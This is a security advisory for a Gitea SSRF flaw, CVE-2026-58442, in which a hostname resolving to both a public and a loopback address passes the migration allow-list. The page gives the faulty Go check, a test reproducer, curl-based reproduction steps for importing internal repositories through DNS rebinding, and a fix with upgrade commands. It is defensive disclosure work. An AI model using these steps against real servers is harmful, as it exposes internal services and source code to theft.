GHSA-h2x6-g7q6-344v CVE-2026-58442 GO-2026-6058
Gitea: Repository migration SSRF via multi-answer DNS allow-list bypass
- Severity
- 6.5 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.43%
- Chance of exploitation in the next 30 days. Higher than 36.92% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
- CWE-918 Server-Side Request Forgery (SSRF)
- Fix
- Available
- 2 packages have a fixed version
Description
Summary
Gitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if any resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later git clone operation resolves the hostname again outside of that validation decision, so it can connect to the internal address.
An authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker.
Details
The issue is in services/migrations/migrate.go, in the migration allow/block-list check.
Current logic computes whether any resolved IP is allowed:
var ipAllowed bool
var ipBlocked bool
for _, addr := range addrList {
ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)
ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}
Then, when an allow-list is active, the host is accepted if the hostname matches or ipAllowed is true:
if !allowList.IsEmpty() {
if !allowList.MatchHostName(hostName) && !ipAllowed {
return &git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true}
}
}
This means a hostname resolving to both:
- an allowed public IP, e.g.
1.2.3.4 - a blocked internal IP, e.g.
127.0.0.1
passes validation because the public IP sets ipAllowed = true.
The actual repository import is later performed by git clone --mirror via MigrateRepositoryGitData / gitrepo.CloneExternalRepo. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly.
The direct internal URL is correctly blocked, but the multi-answer hostname is accepted.
PoC
I verified the vulnerable predicate locally against Gitea checkout:
e8654c7e062431a521636703f47339cde64644fd
using Dockerized Go tests with golang:1.26.4.
The local test proves:
checkByAllowBlockList("loopback.example.test", [127.0.0.1])is rejected.checkByAllowBlockList("mixed.example.test", [1.2.3.4, 127.0.0.1])is accepted.
Minimal reproducer at the validation layer:
func TestMigrationMultiAnswerAnyAllowed(t *testing.T) {
old := setting.Migrations
t.Cleanup(func() { setting.Migrations = old })
setting.Migrations.AllowedDomains = ""
setting.Migrations.BlockedDomains = ""
setting.Migrations.AllowLocalNetworks = false
require.NoError(t, Init())
err := checkByAllowBlockList("mixed.example.test", []net.IP{
net.ParseIP("1.2.3.4"),
net.ParseIP("127.0.0.1"),
})
require.NoError(t, err, "mixed public+loopback answers should currently pass")
err = checkByAllowBlockList("loopback.example.test", []net.IP{
net.ParseIP("127.0.0.1"),
})
require.Error(t, err, "loopback-only answer should be rejected")
}
To reproduce end-to-end:
- Run Gitea with repository migration enabled and
ALLOW_LOCALNETWORKS = false. - Create a normal non-admin user that can create repositories.
- Run an internal Git HTTP service reachable only from the Gitea server, for example on
127.0.0.1:18082. - Configure an attacker-controlled hostname so that DNS can return both a public address and
127.0.0.1, or can return a public address during Gitea's pre-flight validation and127.0.0.1during the later git clone. - Confirm the direct internal migration is rejected:
curl -X POST http://GITEA/api/v1/repos/migrate \
-H "Authorization: token USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://127.0.0.1:18082/repo.git",
"repo_name": "direct-internal",
"service": "git",
"private": true
}'
Expected direct result:
{"message":"You can not import from disallowed hosts."}
- Start a migration from the attacker-controlled multi-answer hostname:
curl -X POST http://GITEA/api/v1/repos/migrate \
-H "Authorization: token USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://mixed.example.test:18082/repo.git",
"repo_name": "multidns-ssrf",
"service": "git",
"private": true
}'
Expected vulnerable result:
- The migration request is accepted.
- The git subprocess can connect to the internal address.
- Internal repository contents are imported into the attacker's new Gitea repository.
Impact
This is a server-side request forgery in repository migration.
An authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated.
Potentially impacted resources include:
- internal Git repositories
- localhost-only services
- private network source-control services
- metadata or internal infrastructure endpoints if reachable and compatible with the request path
The direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation.
Suggested fix
The migration allow/block-list check should fail closed for multi-answer DNS:
- reject if any resolved IP is blocked
- require all resolved IPs to be allowed when an allow-list is active
- treat an empty resolution result as not IP-allowed
- ideally enforce the same destination policy at connection time, not only during pre-flight validation, to avoid DNS TOCTOU between validation and
git clone
For example, instead of ipAllowed = ipAllowed || allowList.MatchIPAddr(addr), initialize ipAllowed to len(addrList) > 0 and combine with logical AND:
ipAllowed := len(addrList) > 0
ipBlocked := false
for _, addr := range addrList {
ipAllowed = ipAllowed && allowList.MatchIPAddr(addr)
ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.gitea.io/gitea | < 1.27.0 |
1.27.0 |
| gitea.dev | < 1.27.0 |
1.27.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
code.gitea.io/gitea Go → 1.27.0
- go
go get code.gitea.io/gitea@v1.27.0 && go mod tidy
gitea.dev Go → 1.27.0
- go
go get gitea.dev@v1.27.0 && go mod tidy
Severity breakdown
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
How to prevent it
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CWE-918: Server-Side Request Forgery (SSRF)
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-rcr6-4jqh-j84m Gitea: Remote Code Execution via diffpatch Git Hook Installation | Critical Known exploited | Also affects code.gitea.io/gitea |
| GHSA-fq2p-5p22-8g6j Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints | Medium | Also affects code.gitea.io/gitea |
| GHSA-2wm4-vwp6-v7xc Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata | High | Also affects code.gitea.io/gitea |
| GHSA-3r5c-2xxx-h872 Gitea: Webhook Authorization Header Returned in Plaintext via API | Low | Also affects code.gitea.io/gitea |
| GHSA-frpw-3h2q-4jj6 Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs | Medium | Also affects code.gitea.io/gitea |
| GHSA-q423-49rw-g9mh Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private | Medium | Also affects code.gitea.io/gitea |
| GHSA-h56g-4qw7-2mxg Gitea: Public-only API token restriction is not enforced on team API routes | Medium | Also affects gitea.dev |
| GHSA-prr9-9mp4-5gp2 Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145 | High | Also affects gitea.dev |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor